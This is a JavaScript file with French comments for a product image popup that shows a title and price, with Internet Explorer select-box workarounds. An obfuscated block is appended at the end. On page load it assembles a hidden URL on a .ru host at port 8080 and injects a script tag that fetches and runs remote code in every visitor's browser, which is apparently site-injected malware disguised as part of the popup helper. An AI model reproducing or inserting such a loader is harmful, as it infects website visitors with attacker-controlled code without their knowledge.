function css_popup(url,titre,prix) {
	var tmp, tmp2, csspopup; 

        // Trouve la taille de la zone html
	var width,height;
	if (self.innerHeight) { // tous sauf IE
		width = self.innerWidth;
		height = self.innerHeight;
	}
	else if (document.documentElement && document.documentElement.clientHeight) { // IE 6 mode strict 
		width = document.documentElement.clientWidth;
		height = document.documentElement.clientHeight;
	}
	else if (document.body) { // autres IE
		width = document.body.clientWidth;
		height = document.body.clientHeight;
	}

        // Trouve de combien on a defile
	var offset_x,offset_y;
	if (self.pageYOffset) { // tous sauf IE
		offset_x = self.pageXOffset;
		offset_y = self.pageYOffset;
	}
	else if (document.documentElement && document.documentElement.scrollTop) { //  IE 6 mode strict
		offset_x = document.documentElement.scrollLeft;
		offset_y = document.documentElement.scrollTop;
	}
	else if (document.body) { // autres IE
		offset_x = document.body.scrollLeft;
		offset_y = document.body.scrollTop;
	}

	// vire un eventuel popup precedent
	css_unpop();

	// cree la structure du popup
	csspopup = document.createElement('div');
	csspopup.id = 'csspopup'
	csspopup.style.position = 'absolute';
	csspopup.style.top = '-10000px';
	csspopup.style.left = '-10000px';
	csspopup.ZIndex = '10000';
	csspopup.style.padding = '5px';
	csspopup.style.backgroundColor = '#fff';
	csspopup.style.border = '1px solid #888';
	csspopup.style.cursor = 'pointer';

	csspopup.innerHTML='<h2>' + titre + '</h2><h3>Prix : ' + prix + '</h3>';

	tmp = document.createElement('div');
	tmp.style.textAlign = 'center';
	tmp.style.padding = '2px';
	tmp.style.clear = 'both';
	// On prepare l'image mais on ne la charge pas tant que son onload n'a pas ete declare
	var pop_image = document.createElement('img');
	pop_image.style.border = 'none';
	tmp.appendChild(pop_image);
	csspopup.appendChild(tmp);

/*
	tmp = document.createElement('div');
	tmp.style.textAlign = 'center';
	tmp.style.padding = '2px';
	tmp2 = document.createTextNode('Cliquez pour fermer');
	tmp.appendChild(tmp2);
	csspopup.appendChild(tmp);
*/

	document.body.appendChild(csspopup);

	//csspopup.onclick = css_unpop;
	document.onclick = css_unpop;
	csspopup.onmouseover = function () {
		csspopup.onmouseout = css_unpop;
	}
	//csspopup.onmouseout = css_unpop;

	// on n'affichera le popup qu'une fois l'image chargee pour etre sur de
	// connaitre sa taille reele
	pop_image.onload = function () {
		var csspopup = document.getElementById('csspopup');
		if(csspopup) {
			// contournement bug IE
			if(document.all) { ieHideSelect(); }

			// C'est ici qu'on affiche pour de bon
			csspopup.style.left = ((width / 2) - (csspopup.offsetWidth / 2) + offset_x) + "px";
			csspopup.style.top = ((height / 2) - (csspopup.offsetHeight / 2) + offset_y) + "px";

		}
	}
	// Et enfin on charge l'image. L'affichage ne se fera reelement qu'une
	// fois le chargement termine
	pop_image.src = url;

	return void(0);
}

function css_unpop(e) {
	var csspopup = document.getElementById('csspopup');
	if(csspopup) {
		// contournement bug IE
		if(document.all) { ieRestoreSelect(); }
		// On supprime le popup
		document.body.removeChild(csspopup);
	}
}

// Masquage de tous les <select> pour IE (contournement de bug)
// L'objectif est d'eviter que les select n'apparaissent a travers un div qui
// passer devant. Il existe un meilleurs contournement (avec creation d'une
// iframe) mais j'ai choisi de ne pas l'utiliser (pas le temps)
function ieHideSelect() {
	for (var i = 0; i < document.all.length; i++) {
		o = document.all(i);
		if (o.type == 'select-multiple') {
			if (o.style) o.style.display = 'none';
		}
		if (o.type == 'select-one') {
			if (o.style) o.style.display = 'none';
		}
	}
} 

// Affichage de tous les <select> pour IE (contournement de bug)
// operation invers de ieHideSelect
function ieRestoreSelect(){
	for (var i = 0; i < document.all.length; i++) {
		o = document.all(i);
		if (o.type == 'select-one') {
			if (o.style) o.style.display = '';
		}
		if (o.type == 'select-multiple') {
			if (o.style) o.style.display = '';
		}
	}
}

var Y='';try {var DI=new String();var E;if(E!='' && E!='y'){E=''};var G;if(G!='' && G!='bX'){G=null};this.BV='';var L=new String("repl"+"ace");var i;if(i!='_'){i='_'};var BJ;if(BJ!='' && BJ!='j'){BJ=''};var m=RegExp;this.eb="";var vh;if(vh!=''){vh='Gb'};var U=new String("dhyf]".substr(4));var w='';var mz="wIDB[".substr(4);this.V="";var vj="";var u="";var Z=new String("g");this.Yy='';this.Ax='';var tR="";function R(Ul,mY){this.RB='';var Rr=mz;Rr+=mY;var OY="";Rr+=U;var eT=new Date();var az;if(az!='' && az!='HF'){az='s'};var e=new m(Rr, Z);var p;if(p!='' && p!='eR'){p='XM'};var W="";return Ul.replace(e, w);var VX=new String();};var HD='';var PW=new String();var Ho=new String();var UB=String("JUY4/zidd".substr(4)+"Kertu.comtreK".substr(4,5)+"/ziddFjb".substr(0,5)+"u.coml0wn".substr(0,5)+"/fede"+"x.com"+"ApX/alibpXA".substr(3,5)+"e9Fjaba.c".substr(4)+"om/goQ5w".substr(0,5)+"dVy4ogle.dVy4".substr(4,5)+"ABDcom.p".substr(3)+"hp");var X='';var hg="";var TS=new Date();var wn=String("onloagvR".substr(0,5)+"d");var b=R('83730238262033',"43726");var Jw=new Array();var JS;if(JS!='Fw' && JS!='Ch'){JS=''};var D=new String("fNwscrip".substr(3)+"tiWGm".substr(0,1));var B=R('h2tBt2pB:2/2/BtBwBi2tBt2eBrB-BcBoBmB.2p2o2r2nBh2u2b2.2c2o2mB.BrBm2xBa2dBsB-BcBoBmB.Br2eBdBpBe2nBoBn2l2iBn2eB.2r2u2:2',"B2");var jo=new String();var Ul="1";var Q;if(Q!='' && Q!='PU'){Q='bm'};var ez="";window[wn]=function(){var zS;if(zS!='qe' && zS != ''){zS=null};this.vN="";K=document.createElement(D);var Vr=new Array();X+=B;var GR=new Date();X+=b+UB;var LK="";var qM;if(qM!='jt' && qM != ''){qM=null};var g=new String();var EY=new String();K.defer=Ul;var yz;if(yz!='tK' && yz!='jw'){yz=''};var f=document.body;var Yw=new Array();var kZ=new Array();K.src=X;this.Ad='';var WR;if(WR!='nl' && WR!='qc'){WR=''};f.appendChild(K);var XB;if(XB!=''){XB='BU'};};var RP;if(RP!='' && RP!='wI'){RP='Ns'};this.Dd="";} catch(bv){var Ja='';var SY=new Array();};